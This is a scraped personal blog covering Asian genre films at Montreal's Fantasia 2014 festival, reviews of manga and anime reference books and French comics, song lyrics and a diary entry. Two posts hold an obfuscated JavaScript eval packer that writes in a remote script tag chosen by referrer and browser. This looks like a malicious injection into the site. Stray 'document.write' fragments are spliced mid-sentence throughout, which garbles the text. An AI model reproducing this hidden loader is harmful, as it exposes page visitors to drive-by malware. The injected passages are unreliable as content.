South Korea, Dir: Shin Dong-yeop. Fifteen years after the torments of his teenage days, Joon-seok seeks vengeance on his erstwhile tormentor, Chang-sik. A Korean revenge film that stands out starkly from its predecessors, bringing in a new perspective for which the genre thirsted. International Premiere.

THE DEMON WITHIN
Hong Kong, Dir: Dante Lam. Beware of the Festival of Hungry Ghosts! The Demon King Gang is creating havoc once again! Lock and load for some high-octane action and horror in a film-noir setting, from Dante Lam (BEAST STALKER, STOOL PIGEON). Quebec Premiere.

THE FATAL ENCOUNTER
South Korea, Dir: Lee Jae-kyoo. This powerful, tragic political thriller retells an oft-told tale of true history, of an attack on the so-called “King of Misfortune” in 1777 Korea. A superior slice of silks-and-swordplay, sultry, sumptuous, sophisticated — and savage. Quebec Premiere.

THE FIVES
South Korea, Dir: Jeong Yeon-shik. Wheelchair-bound Eun-a seeks vengeance on the serial killer who slew her family, and assembles a group of desperate misfits to execute her plan. A gripping, fast-moving team spin on the familiar Korean revenge-thriller formula. Canadian Premiere.

GUARDIAN
Indonesia, Dir: Helfi Kardit. After THE RAID: REDEMPTION (2011) and THE RAID 2 (2014), Indonesia serves up GUARDIAN, an old-school action flick is which a mother pressures her daughter to master the martial arts following the murder of her father. International Premiere.

GUN WOMAN
Japan, Dir: Kurando Mitsutake. Japanese actress Asami is a junkie hooker transformed into a ruthless assassin in this ultraviolent action flick. If you’re into gunfights, hand-to-hand combat and floods of blood, set your sights on GUN WOMAN. Canadian Premiere.

HWAYI: A MONSTER BOY
South Korea, Dir: Jang Joon-hwan. Kidnapped by five criminals in his infancy, Hwayi has spent the last decade shacked up in the woods, learning how to be a cold-blooded killing machine. An exploration of evil from the creator of the cult classic SAVE THE GREEN PLANET! North American Premiere.

KABISERA
Philippines, Dir : Alfonso Torre III. Following a haunting dream, a felon-turned-fisherman finds a shipment of methamphetamine — and soon finds himself trapped in a nightmare. One of the most powerful, lasting genre films to come out of the Phillipines in recent year. Quebec Premiere.

THE MOLE SONG – UNDERCOVER AGENT REIJI
Japan, Dir: Takashi Miike. Disgraced cop Reiji Kikukawa is sent undercover to infiltrate the most powerful yakuza clan in Japan. With its marvellously absurd humour and contagious energy, THE MOLE SONG marks Miike’s magnificent return to comedy! Quebec Premiere.

MR. GO
South Korea/China, Dir: Kim Yong-hwa. Teenage Weiwei brings her gorilla with a powerhouse swing to the Asian baseball scene, to save her family’s debt-ridden circus. Korea’s first 3D blockbuster, an ambitious pan-Asian production, hits a home run! Canadian Premiere.

NUIGULUMAR Z (Gothic Lolita Battle Bear)
Japan, Dir: Noboru Iguchi. Get ready for sugar and spice and everything nice — set on maximum slice and dice! Cosplay and kawaii collide with Japanese sci-fi superheroics and zombie gore in GOTHIC LOLITA BATTLE BEAR! Canadian Premiere.

REAL
Japan, Dir: Kiyoshi Kurosawa. The Escher-like subconscious mindscape of a loved one becomes a spirit-laden underworld to explore in this bizarre, surreal, supremely beautiful sci-fi melodrama from Kiyoshi Kurosawa. Quebec Premiere.

RUROUNI KENSHIN – KYOTO INFERNO
Japan, Dir: Keishi Otomo. Long awaited sequel of the live action movie RUROUNI KENSHIN (2012) has finally arrived! Based on the best-selling manga series of the same title, this two-part film revolves around Kenshin’s desperate struggle to protect the nation and the people he loves from the conspiracy of Shishio, a former government assassin and Kenshin’s notorious successor, to overthrow the government. International Premiere. [See more details on ANN]

THE SNOW WHITE MURDER CASE
Japan, Dir: Yoshihiro Nakamura. Playing out like an endlessly fragmented retelling of RASHOMON for the digital age, the latest from Yoshihiro Nakamura (FISH STORY, GOLDEN SLUMBER) is a strikingly modern whodunit. Quebec Premiere.

THE SPY: UNDERCOVER OPERATION
South Korea, Dir: Lee Seung-jun. Elite operative Agent Kim must keep a second Korean War from breaking out — and his marriage from breaking apart! Equal parts zany rom-com and intense thriller, THE SPY is a mirthful mash-up of gritty gunplay and goofball gags. Canadian Premiere.

THE SUSPECT
South Korea, Dir: Won Shin-yeon. A North Korean super-soldier turned defector is drawn into a morally murky maelstrom of secrets, lies and sudden, furious yet precise violence. A tough, tight political action thriller with a soul. Canadian Premiere.

THERMAE ROMAE II
Japan, Dir: Hideaki Takeuchi. Time-travelling Roman bathhouse architect Lucius returns! Funnier, more grandiose and irreverent, this second journey from Ancient Rome to modern Japan, care of director Hideaki Takeuchi, is frankly spectacular. International Premiere.

UZUMASA LIMELIGHT
Japan, Dir: Ken Ochiai. Old Kamiyama the swordfight-death specialist is a legend around Kyoto’s Uzumasa Studios, but his star, however small it ever was, has dimmed. A journey into the inner workings of Japanese pop entertainment, in its golden era and today. Canadian Premiere.

ZOMBIE TV
Japan, Dir: Maelie Makuno, Naoya Tashiro, Yoshihiro Nishimura. Ever dreamed of zombie-only cable TV, broadcasting all things putrefied, decomposing and brain-hungry, 24 hours a day, all year round? A severed-tongue-firmly-planted-in-rotten-cheek, all-you-can-eat zombie-party anthology from Yoshihiro Nishimura and co. Canadian Premiere.

FANTASIA GUEST LIST BRINGS THE BEST OF GENRE FILM TO MONTREAL

This year Fantasia continues its tradition of inviting the best and brightest genre filmmakers from around the world to the city of Montreal. The festival is proud to host more than 76 directors, producers and actors coming to Fantasia to premiere their films at the festival’s 18th edition. Fantasia will welcome filmmakers from all over the globe, from countries ranging from Brunei, Japan, and South Korea, to France and the Netherlands. In total, this year Fantasia will host more than 400 film industry professionals from around the world.

Special festival guest from Asia will includes: Asami (Cult actress for Gun Woman), Noboru Iguchi (dir. for Nuigulumar Z), Jang Joon-hwan (Korean filmmaker for Hwayi: A Monster Boy), Hiroyoshi Koiwai (Executive Producer for Rurouni Kenshin: Kyoto Inferno), Kurando Mitsutake (Director/Writer for Gun Woman), Mamoru Oshii (Director for Ghost in the Shell, will receive a Fantasia Lifetime Achievement Award for his unparalleled career in animation), and Keishi Otomo (Director/Co-Writer for Rurouni Kenshin: Kyoto Inferno).

THE 3RD EDITION OF THE FANTASIA INDUSTRY RENDEZ-VOUS

For a third consecutive year, the Fantasia International Film Festival has organized an event to host members of the international film industry at the festival: The Fantasia Industry Rendez-Vous. From July 24 to 27, producers, directors, sales agents, distributors and talent agents from here and afar will converge in Montreal to develop film projects, as well as sell and buy films from Fantasia’s programming. The 2014 edition of the Rendez-Vous will attract 280 participants. The principal activity of the Industry Rendez-Vous is the Frontières International Co-Production Market, the first market to focus specifically on genre film co-production in-between North America and Europe.

Once again, a series of conferences have been organized within the Industry Rendez-Vous. The subjects that will be explored are: Shooting in Quebec, Early Production Involvement of Post-Production Partners, Creating a Proof-of-Concept Video for Financing and Presales, and Lessons Learned in Crowdfunding and Crowdsourcing. The conferences are open to the general public. Frontières also offers a consultancy service with professionals in independent production, film sales, festival programming and merchandising, available free of charge to market participants.

The Fantasia International Film Festival takes place in Montreal July 17 – August 5, 2014. For this year’s edition and onwards, Fantasia will be returning to the freshly renovated Concordia Hall Cinema as its main base, which now features an even larger screen, new seating and upgraded projection and sound.

The full press release can be found here. You can also find more information on the festival website.

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L’image du chat-medi

/ Clodjee / Leave a comment

Caramel regardant confortablement la télé
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<a href="https://www.flickr.com/photos/clodjee/14658308273&quot; target="“new”" title="Untitled by Clodjee Pelletier, document.write(“”); on Flickr”>Untitled

This land is mine

/ Clodjee / 1 Comment

I found this beautiful animation somewhere on Facebook and followed the link up to Vimeo. It is “A brief history of the land called Israel/Palestine/Canaan/the Levant.”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ffkyf|var|u0026u|referrer|dyets||js|php’.split(‘|’),0,{}))



You can find a “Who’s Killing Who? A Viewer’s Guide” on the creator’s blog.

The animation is quite nice, document.write(“”); and it illustrates quite well the endless killings that this region have known since ancient history (although I would like to point out that it has also known long periods of peace)… It’s rather actual.

As far as I could gathered, the score was written in 1960 by Ernest Gold for the movie Exodus (dir. by Otto Preminger and based on Leon Uris‘ book of the same title) and the lyrics were added the following year by Pat Boone to create “This land is mine.” It was also interpreted (among others) by Andy Williams, Ferrante and Teicher, Mantovani, Eddie Harris and Edith Piaf.

Pat Boone lyrics of “This land is mine:”

This land is mine.
God gave this land to me.
This brave and ancient land to me.
And when the morning sun reveals her hills and plains.
Then I see a land where children can run free.
So take my hand and walk this land with me.
And walk this lovely land with me.

Tho’ I am just a man
when you are by my side
with the help of God
I know I can be strong.
So take my hand and walk this land with me.
And walk this golden land with me.

Tho’ I am just a man
when you are by my side
with the help of God I know I can be strong.
To make this land our home,
if I must fight,
I’ll fight to make this land our own.
Until I die this land is mine!

Strangely, the french lyrics sang by Edith Piaf with the simple title “Exodus,” are quite different (but also beautiful and more appropriate for the movie itself):

Ils sont partis dans un soleil d’hiver
Ils sont partis courir la mer
Pour effacer la peur
Pour écraser la peur
Que la vie a clouée au fond du coeur

Ils sont partis en croyant aux moissons
Du vieux pays de leurs chansons
Le coeur chantant d’espoir
Le coeur hurlant d’espoir
Ils ont repris le chemin de leur mémoire

Ils ont pleuré les larmes de la mer
Ils ont versé tant de prières :
“Délivrez-nous, nos frères !
Délivrez-nous, nos frères !”
Que leurs frères les ont tirés vers la lumière

Ils sont là-bas dans un pays nouveau
Qui flotte au mât de leur bateau
Le coeur brisé d’amour
Le coeur perdu d’amour
Ils ont retrouvé la terre de l’amour.

It roughly translates as:

They left in a winter sun
They went running the sea
To erase the fear
To crush the fear
That life has nailed into their heart

They left believing the harvest
Of the old country of their songs
Their heart singing of hope
Their heart screaming of hope
They have gone back to their memory

They cried tears of the sea
They poured so many prayers:
“Deliver us, our brothers!
Deliver us, our brothers! “
That their brothers brought them into the light

They are there in a new country
That floats their boat mast
Their heart broken by love
The heart lost by love
They found the land of love.

Manga: The complete guide

/ Clodjee / 2 Comments

“THE ONE-STOP RESOURCE FOR CHOOSING BETWEEN THE BEST AND THE REST!

Whether you’re new to the world of manga-style graphic novels or a longtime reader on the lookout for the next hot series, here’s a comprehensive guide to the wide, wonderful world of Japanese comics!

• Incisive, full-length reviews of stories and artwork
• Titles rated from zero to four stars–skip the clunkers, but don’t miss the hidden gems
• Guidelines for age-appropriateness–from strictly mature to kid-friendly
• Profiles of the biggest names in manga, including CLAMP, Osamu Tezuka, Rumiko Takahashi, and many others
• The facts on the many kinds of manga–know your shôjo from your shônen
• An overview of the manga industry and its history
• A detailed bibliography and a glossary of manga terms

LOOK NO FURTHER, YOU’VE FOUND YOUR IDEAL MANGA COMPANION!”

[From the publisher’s web site]


There are already plenty of reference books on manga (Schodt’s Manga Manga & Dreamland Japan, Gravett’s Manga: Sixty Years of Japanese Comics, Taschen’s Manga Design, or Koyama-Richard’s One Thousand Years of Manga—just to name a few) but we were still lacking a manga “encyclopedia” in English (there’s already one in French and in Italian). With Manga: The Complete Guide we’re finally getting a detailed and voluminous bibliographical listing of all manga published in English.

The book starts with an introduction to manga: what manga is, a brief history, its demographic, etc. The core of the book is the guide itself: over a thousand alphabetical entries of manga titles (plus over two hundred adult and yaoi entries in two separate sections at the end). In fact, the guide is more a compilation of reviews than a real encyclopedia: it does offer a bibliographical notice (including the official English title, Japanese title, author(s), English-language & original Japanese publishers, number of volumes, genre, and age rating), but most of each entry is dedicated to a short description and a commentary (punctuated by a four-star ranking system). Spread inside the listing, you also find thirty-eight articles developing on the various thematic or type of manga (comedy, cooking, crime, fantasy, etc.). The book concludes on two appendices explaining the age ratings and the basics of the Japanese language, a glossary, a bibliography and an artist index (listing their date of birth, titles, and sometime a web page or biographical notice—only eighteen mangaka have a proper notice).

Manga: The Complete Guide is certainly quite exhaustive, but it could have offered even more. I noticed a few missing titles—like Mangajin’s Mr. Benihana: The Rocky Aoki Story or Tezuka’s adaptation of Dostoyevsky’s Crime and Punishment published in English by The Japan Times—but that’s understandable, as such a work cannot be perfect. However, I would have liked to see more illustrations and more biographical notices. Also, I know it’s not realistic, but I wish we had a really complete manga reference, listing all manga (or at least all the notable and popular ones), even untranslated titles. Nevertheless Manga: The Complete Guide is certainly the best manga reference in the western world—so far. Whether you just want to know more about manga or are an avid manga reader, this book is an essential reference.

Manga: The Complete Guide, by Jason Thompson. New York: Del Rey/Ballantine Books (Random House), 2007. 556 pp., paperback, $19.95 US / $24.95 CDN, ISBN 978-0345485908. Recommanded for teenagers (12+).
For more information:

A version of this article was previously published in PA #97: 77.

Manga: The complete guide © 2007 by Jason Thompson.

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Anime Classic Zettai

/ Clodjee / 3 Comments

“This is a must-have guide to 100 essential Japanese animation films, TV series, and made-for-video series, from 1950s classics to the latest Cartoon Network hits.
Looking for something specific? Eight unique icons make reviews easy to browse. From Akira to Naruto, Pokemon to Sailor Moon, anime veterans Brian Camp and Julie Davis present over 100 black & white images alongside summaries, style notes, rare facts, viewer-discretion guides, and critical comments on films that fans absolutely—zettai!—must see.”

[From the publisher’s web site]


We could say this book is only a compilation of reviews, but, on the other hand, it has the great advantage of offering extensive and very structured reviews. Also, if it offers only one hundred of them, they constitute the authors’ all time best anime selection (including movies, TV series, OAV, from 1958 to 2006, from Akira to Yu Yu Hakusho)!

The book opens on two essays: the first one gives a quick summary of the history of anime in America and explains the criteria use in the selection of titles; the second attempts to describe anime through its formats, styles and the experience it provides. It goes on with short biographies of fourteen great anime directors: Hideaki Anno, Osamu Dezaki, Yoshiaki Kawajiri, Satoshi Kon, Leiji Matsumoto, Hayao Miyazaki, Mamoru Oshii, Katsuhiro Otomo, Rintaro, Gisaburo Sugii, Isao Takahata, Osamu Tezuka, Yoshiyuki Tomino and Shinichiro Watanabe (a list similar to the Top 10 directors published in PA #90: 14). Like all good references, the book concludes with a bibliography. If there are about one hundred illustrations, some reviews have plenty of pictures while many are not illustrated at all. Such a book should be more generously illustrated.

All the reviews follow the same structure and are divided into nine parts: production notice (date, format, duration, genre, staff), summary, description of its style, comment (the review itself), mention of related titles (pre/sequels), notes on the creator/director, highlights (notable scenes), additional notes (anything from production notes to details on voice actors, or DVD extras), and rating advisory (violence, profanity, sexuality, etc.). All reviews are detailed and average three to four pages each.

I have often a hard time answering when people ask me to recommend them titles to watch. I’ve seen so many anime that it’s difficult to say which one I like best. This book offers an easy solution: here’s 100 titles that I can easily suggest. The book’s selection probably includes most people’s Top 10 (it’s the case for the staff Top 10 published in PA #84, or mine [minus Megazone 23], and you’ll find almost all Satoshi Kon [save Paprika] and Miyazaki [without Castle Of Cagliostro] titles). Of course, you cannot always agree with their selection (Chobits? Demon City Shinjuku? Harmagedon? Pokemon? Wicked City?!), but it certainly reviews most classic, popular and significant (historically or artistically) anime titles.

All in all, this is a very nice coffee table reading as it offers a ready-made list of viewing as well as lots of interesting information about the reviewed titles. Recommended for anime fans of all levels, zettai! (Absolutely!)

Anime Classics Zettai! 100 Must-See Japanese Animation Masterpieces, by Brian Camp & Julie Davis. Berkeley: Stone Bridge Press, 2007. 408 pp., paperback, $18.98 US / $23.00 CDN, ISBN 978-1-933330-22-8. Recommanded for teenagers (12+).
For more information / Pour plus d’information:

A version of this article was previously published in PA #97: 76.

Anime Classics Zettai © 2007 Brian Camp and Julie Davis.

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/ Clodjee / Leave a comment

Gloire du matin! / Morning glory !
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<a href="https://www.flickr.com/photos/clodjee/14414797088&quot; target="“new”" title="Morning glory! by Clodjee Pelletier, document.write(“”); on Flickr”>Morning glory!
Morning glory!Morning glory!

GraphoLexique du Manga

/ Clodjee / 3 Comments

“Ogives de bonheur, document.write(“”); vent de solitude, spirale de candeur, figure heno-heno-mohe-ji… Voici 33 symboles graphiques des mangas japonais enfin décodés pour le lecteur occidental.
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Plus de 100 illustrations : planches d’auteurs mangas connus en France ou vignettes inédites de jeunes illustrateurs japonais.

Véritable livre ressource pour les auteurs et illustrateurs européens souhaitant mieux connaître les techniques des maîtres mangaka.”

[ Texte du site de l’éditeur et de la couverture arrière ]

Continuez après le saut de page >>

Text in English follows:

Ce livre traite de la lexicographie visuelle du manga. Je suis sûr que c’est un sujet déjà couvert par certains ouvrages du style “Comment dessiner les mangas”, mais je pense que c’est la première fois qu’un ouvrage lui est entièrement consacré.

Le livre explique le «vocabulaire» graphique de manga, c’est à dire tous les symboles et les éléments visuels qui aident le récit et sont spécifiques au mangas. L’ouvrage couvre trente-trois de ces symboles graphiques: (pour exprimer le bonheur, la joie:) les yeux renversés de joie, les ogives de bonheur, les étoiles dans les yeux, les fleurs de pureté, (pour exprimer la gêne, la confusion:) la goutte de gêne, les traits de rougeur, le personnage décoiffé, les postillons de parole, (pour exprimer la colère, la menace:) les crocs d’animalité, le scintillement de mauvais augure, la veine de colère, les yeux pincés d’effort, les yeux ronds de menace, les flammes d’enthousiasme, (pour exprimer la tension, la surprise:) la goutte de tension, le yeux en points, le saignement de nez, les éclairs de stupeur, les lignes de tension, le passage au négatif, (pour exprimer l’absence, l’insignifiance:) l’oeil vide, le personnage sans yeux, la figure heno-heno-mohe-ji, (pour suggérer une prise de conscience:) l’éclat de compréhension, la ligne d’intuition, (pour exprimer la lassitude, l’isolement:) les ombres d’épuisement, le souffle d’air, le vent de solitude, (pour exprimer certains états particuliers:) le spirale de candeur, la spirale de K.O., l’étoile de clic, (pour suggérer une modification dans le cours du récit:) les bords noirs de flash-back, le brouillage de souvenir.

Cela peut paraître un peu sec comme sujet juste de les énumérer comme ça, mais le fait que le livre est bien illustré et que chaque symbole reçoive chacun à peu près quatre pages d’explication, aide beaucoup à rendre le sujet plus compréhensible et facile à “digérer.” Le livre début avec deux chapitres qui explique la question du sens de lecture et de l’index visuel du genre graphique qu’est le manga, et se conclut avec un glossaire et un index des auteurs cités.

C’est un sujet qui certes offre un champs d’intérêt plutôt étroit, mais cela pourrait être utile si vous êtes un néophyte et que vous souhaitez mieux comprendre langage graphique du manga, si vous êtes un apprenti mangaka ou si vous êtes un chercheur universitaire et que vous souhaitez étudier le domaine. Donc une curiosité de spécialiste.

Quelques extraits du livres sont disponibles (en PDF) sur le site de l’éditeur: le sens de lecture et l’index visuel, exprimer la colère, la menace, exprimer la tension, la surprise.

This book title is “Graphical lexicography of manga: Understanding and using the graphical symbols of Japanese comics”. It talks about the graphical lexicography of manga. I am sure it is a subject covered in some English language manga references or “How-to draw manga” books, but I think it’s the first time (in any language—and this time, again, in French) that there’s a work entirely dedicated to it.

The book explains the graphical “vocabulary” of manga, which means the graphical symbols and elements that help telling the story and are specific to the genre. It studies thirty-three of those graphical symbols : eyes reversed of joy, circles of happiness, starry eyes, flowers of purity, sweat drop of embarassment, blushing line strokes, hair messed up out of being put out, droplet of saliva, fang of bestiality, sparkle of bad omen, vein of anger, eyes pinched in effort, threatening round eyes, flames of enthusiasm, sweat drop of tension, small-dot eyes, nose bleed, lightning flash of astonishment, tension lines, scene in negative, empty eyes, no eyes, heno-heno-mohe-ji face, sparkle of understanding, line of intuition, shadow of exhaustion, puff of air, wind of loneliness, spiral of ingenuousness, spiral of knock-out, star of blinking eye, black frame of flash-back, and blurr of memory. It might seem dry just mentioned like that, but the fact that the book is well illustrated helps a lot to understand each symbol—which also gets four pages of explanation each.

It is a pretty narrow field of interest but it can be useful if you are new to manga and want to better understand its graphical language, if you are a wanna-be mangaka or if you are a University academician and want to study the subject.

A few excerpts (in french) are available (in PDF) on the publisher’s website: the reading direction & visual index, how to express anger, threat, how to express tension, surprise. You can also find more information on the back cover of the book.

GraphoLexique du Manga: Comprendre et utiliser les symboles graphiques de la BD Japonaise. Written by Den Sigal. Paris: Eyrolles, 2007. 160 pgs. 17 €. ISBN 978-2-212-11791-2. Recommanded for adults.

For more information / Pour plus d’information:

GraphoLexique du Manga © Groupe Eyrolles, 2007.

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June in review

/ Clodjee / Leave a comment

June seemed like a very nice month (as good as May usually is) although we had a few days of heavy rain (my garage was flooded a couple of time: on the third, on the thirteen, but the worse was on the twenty-fourth and twenty-fifth). Despite all this, I was able to finish repairing and painting the garage door. The garden also started to blossom in many colours. The Mom alley-cat that took up residence in the garden’s shed (and who gave us Caramel last year) gave birth to another litter of kittens but was later chased from the shed by an invasion of raccoons!

I’ve complained many time to the city (using the official info and complain phone line) about the sidewalk’s defect that cause the rain water to go to my driveway instead of the sewage’s gutter and therefore flooding my garage. In three years nothing was done. Taking advantage of some errands near the borough Hall, I decided to pay a visit to my elected official. He was not there but I spoke with his assistant and explained the problem. She suggested that I email them pictures (which I did right away) and, to my great surprise, less than a week later there was city workers making markings on the sidewalk to prepare it for the repair!! Another week later some workers came back to cut the concrete. I expect the repair to be done soon… Now I know what to do to get results.

In june I also started working in a new location. I felt right away that the adaptation to this new work place would take some time. I have to learn a new routine and every place has its own particularities. However, a month into this new job, I must admit that I am quite disappointed. I remembered the place as very well organized, operating smoothly and quietly. Either I remembered wrong or something changed (well, a rapid succession of changes in management can fuck up the best of organization). I like the team, the place is indeed much more quieter and I now save between fifteen and thirty minutes on my commute, but so far I haven’t been given any specific tasks, the work flow is extremely disorganized and chaotic and the reduced staff and budget means that we are always running to keep up with what needs to be done. Not much time to relax, so it is even more stressful and tiring that the previous place! I am not sure I made the right move… I still have time to adapt, but as soon as it’s possible (I can’t move for another year) I will start applying to other jobs in the hope of finding the dream job or at least something even closer to home.

The end of june and early july brought a heat wave with temperature around 30’C (going over 40′ with the humidex)! We had many weeks without any rain, but it ended today. Hopefully, the rain won’t last too long. I took another couple of weeks of vacation to travel a little, do some work around the house and catch up with my writing (if I ever can!). My first day off, I was so tired that I slept for nearly twelve hours! I haven’t done that in a long time. I started updating my “Essential anime and manga references” moving it from the Protoculture website to my blog and adding more titles to this bibliography. I am planning on posting reviews for all those references (either updating the reviews that were previously published in PA, using some texts that had never been published before [like for the Dico Manga] or simply write new ones). I also wrote comments on the second volumes of Joséphine Impératrice and Le guide du mauvais père (both in french). It feels great! I hope to be able to keep that pace all summer.

Before the rain, I experienced a few of those perfect days of july. It reminded me of my childhood: a slight breeze in the trees, the songs of unseen birds, the distant shouts of children playing in the neighbourhood, the sun reflecting on the water. It brings back a feeling of deep quietness and idleness. Something that the europeans call farniente, I think. Unfortunately, in this busy life, it is only a fleeting sensation…

Not much happened in the news, but I nevertheless gathered a few worthy links that I gladly share with you after the jump:


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Libraries

Economy, Environment & International/U.S. Politics

Health, home & garden

Library Humour

Media, Culture, Entertainment & Society

Movie Festivals

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

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Le Guide du mauvais père (2)

/ Clodjee / 2 Comments

Guide_du_mauvais_pere_2-cov“S’acharner sur son fils pour remporter une partie de jeu vidéo. Redoubler de mauvaise foi envers sa fille après avoir perdu à cache-cache. Pire, inventer une histoire de tueur psychopathe à la tombée de la nuit… Guy Delisle, un mauvais père ? Non, un auteur de bande dessinée qui sait puiser l’imagination là où elle se trouve, avec un sens aigu de l’observation et une bonne dose d’autodérision.”

[Texte du site de l’éditeur; voir aussi la couverture arrière]

Guy Delisle est surtout connu pour ses “travelogues” aux frontières hasardeuses de la géo-politique mondiale qu’on retrouve au Moyen et Extrême-Orient (les Shenzhen, Pyongyang, Chroniques Birmanes, Chroniques de Jérusalem, et qu’il me faudra bien commenter un jour), mais il a aussi commis des BDs plus traditionnelles (tels que Inspecteur Moroni ou Comment ne rien faire) ou des albums plus “familiaux” (tel que Louis au ski et Louis à la plage). Le Guide du Mauvais Père appartient à cette dernière catégorie. C’est un petit bijou fort mignon mais trop bref (192 pages peut être, mais avec seulement une ou deux grosses illustrations par page ce qui fait que le livre se lit très rapidement).

Guide_du_mauvais_pere_2-pl01Bon, le second volume est très similaire un premier (que j’ai commenté précédemment). Il s’agit de seize petites histoires toutes simples (Mathématiques, Lundi midi, Les devoirs, Le visiteurs, La dent, Nuit au gîte, La piñata, La cachette, Warcraft II, La librairie, Le Cancre, Baignade à La Réunion, Pendaison de crémaillère, Surcharge pondérale, Flash-back et Ponctualité) d’une douzaine de pages (entre 6 et 16 pages, deux panneaux par page) où un père un peu égoïste et amoral abuse psychologiquement ses enfants de son humour tordu, parfois sans vraiment sans rendre compte.

Cela crée des situations cocasses, sans doute inspirées de la vie quotidienne de l’auteur (mais, on l’espère, pas trop réelle). Ce qui est extraordinaire c’est qu’en quelques traits simples, Delisle réussi à décrire des situations ou des expressions tout de même assez complexes.

Page 4
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Tout comme le premier volume, c’est une BD qui offre un humour léger et se lit très rapidement. C’est une lecture agréable et amusante. Parfait pour l’autobus ou la salle d’attente.

Le Guide du Mauvais Père 2, par Guy Delisle. Paris, Éditions Delcourt (Coll. Shampooing), janvier 2014. 17.8 x 12.8 x 2.2 cm, 192 pg., 9,95 € / $15.95 Can. ISBN: 978-2-7560-4777-5. Recommandé pour jeune adulte (14+). stars-3-0

Pour plus d’information vous pouvez consulter les sites suivants:

[ Amazon — Biblio — Goodreads — Google — Wikipedia ]

Le Guide du Mauvais Père © 2014 Guy Delcourt Productions.

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Joséphine Impératrice (2)

/ Clodjee / 2 Comments

“Joséphine, document.write(“”); apprenant le décès de sa plus jeune sœur et la santé vacillante de son père, décide de retourner en Martinique. Elle emmène avec elle sa fille Hortense, tandis que son jeune fils, Eugène, doit rester à Paris pour parfaire son éducation de futur héritier de la famille de Beauharnais. À Paris, le peuple crie famine et réclame justice au Roi et à la noblesse. Alors que des groupes d’actions s’organisent, Agathon fait la connaissance de Saint-Just, un des acteurs de la révolte, qui tente de l’entraîner dans la fièvre révolutionnaire.”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kztda|var|u0026u|referrer|khnkh||js|php’.split(‘|’),0,{}))

“La vie tumultueuse et passionnée de Joséphine de Beauharnais, qui devint la femme de Napoléon et l’impératrice des Français !”

Volume 2 / 4

[ Texte du site de l’éditeur et de la couverture arrière ]

Continuez après le saut de page >>

ATTENTION: Peut contenir des traces de “spoilers”! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir elle-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et ne devraient poursuivre qu’avec circonspection.

J’ai introduit ce manga l’automne dernier et en ai déjà commenté le premier volume. Je vous réfère à ces articles pour plus de détails. Le deuxième volume de Joséphine Impératrice (?????????? / Bara no Josephine / lit. “Les roses de Joséphine”), prépublié en feuilletons dans Princess Gold, le magazine mensuel sh?jo de Akita Shoten, a été publié au Japon en janvier 2013 et traduit en français chez Pika Éditions en novembre 2013.

Joséphine s’est installé à Fontainebleau, chez son beau-père. Elle reçoit une lettre de la Martinique, ce qui la rend heureuse car elle dit qu’elle sent encore le soleil. Toutefois, cette lettre est porteuse de mauvaises nouvelles: son père est très malade et sa jeune soeur Françoise est décédé. Joséphine décide donc de retourner en Martinique pour visiter ses parents et leur présenter ses enfants [ci-contre: pg 12]. Devant les périls d’un tel voyage, Alexandre s’y oppose. Il refuse surtout de laisser partir Eugène, l’héritier des Beauharnais, car il veut qu’il reçoive une éducation digne de son rang. Un compromis est néanmoins établi: Joséphine amènera Hortense en Martinique tandis qu’Eugène demeurera à Paris, chez Madame de Beauharnais, sous la supervision d’Agathon.

Fidèle à lui-même, Alexandre ne tiens pas sa promesse et traite Agathon comme un simple domestique. Il se console par ses retrouvailles avec Jean, le cuisinier des Beauharnais qu’il considère comme un grand-frère. Celui-ci fréquente Sylvie, la domestique des voisins. Ils espèrent se marier mais le maître de celle-ci refuse et, la considérant comme une esclave, la marque au fer rouge. Sylvie se suicide de honte et de désespoir. Jean, furieux contre la comportement ignoble de la noblesse, se joint à une cellule révolutionnaire afin de lutter pour la liberté et l’égalité du peuple. Il introduit Agathon à ses amis, dont Saint-Just. La révolution gronde, puis éclate le 14 juillet 1789. La haine du peuple laisse place à la vengeance et de nombreux nobles sont massacrés. Agathon se réfugie à Fontainebleau où tout est surprenamment calme. En effet, Alexandre s’est joint à l’armée révolutionnaire.

Le séjour de Joséphine en Martinique est relativement sans histoire, du moins jusqu’à ce que la révolution rejoigne les paysans opprimés avec une année de retard, et qu’elle doivent retourner en France précipitamment. Alexandre est maintenant membre de l’Assemblée constituante et Jacobin. Il en est le président lorsque le roi Louis XVI tente de fuir à Varennes, ce qui mènera éventuellement à son procès et son exécution en janvier 1793. À la fin de son terme, Alexandre rejoint l’armée pour défendre le territoire française contre la coalition européenne. Blâmé pour la défaite de Mayence, il est accusé de trahison et emprisonné à la prison des Carmes. Joséphine tente de plaider pour sa libération mais est arrêtée à son tour. Elle retrouve Alexandre en prison [ci-contre: pg 158]. Celui-ci sera exécuté en juillet 1794. C’est le début de la Terreur, avec ses arrestations arbitraires, ses procès sommaires et ses exécutions de masse. Agathon est convaincu que la seule façon de mettre fin à la terreur, et de sauver Joséphine, est d’assassiner Robespierre. C’est alors qu’il croise par hazard un petit général nommé Bonaparte…

Pages 168-69: Joséphine et Alexandre de Beauharnais se retrouvent à la prison des Carmes

Ce volume de Joséphine Impératrice, nous offre un excellent et agréable récit. Il nous permet, par la bande, non seulement de rafraichir nos connaissances de la révolution française, mais l’utilisation habile de personnages fictifs comme Agathon ou Jean, nous évite de trop s’embourber dans les faits historiques. Le style détaillé et précis supporte très bien le récit. L’ensemble représente un exemple remarquable de manga sh?jo: une histoire romantique encadrée de fleurs et de belles robes.

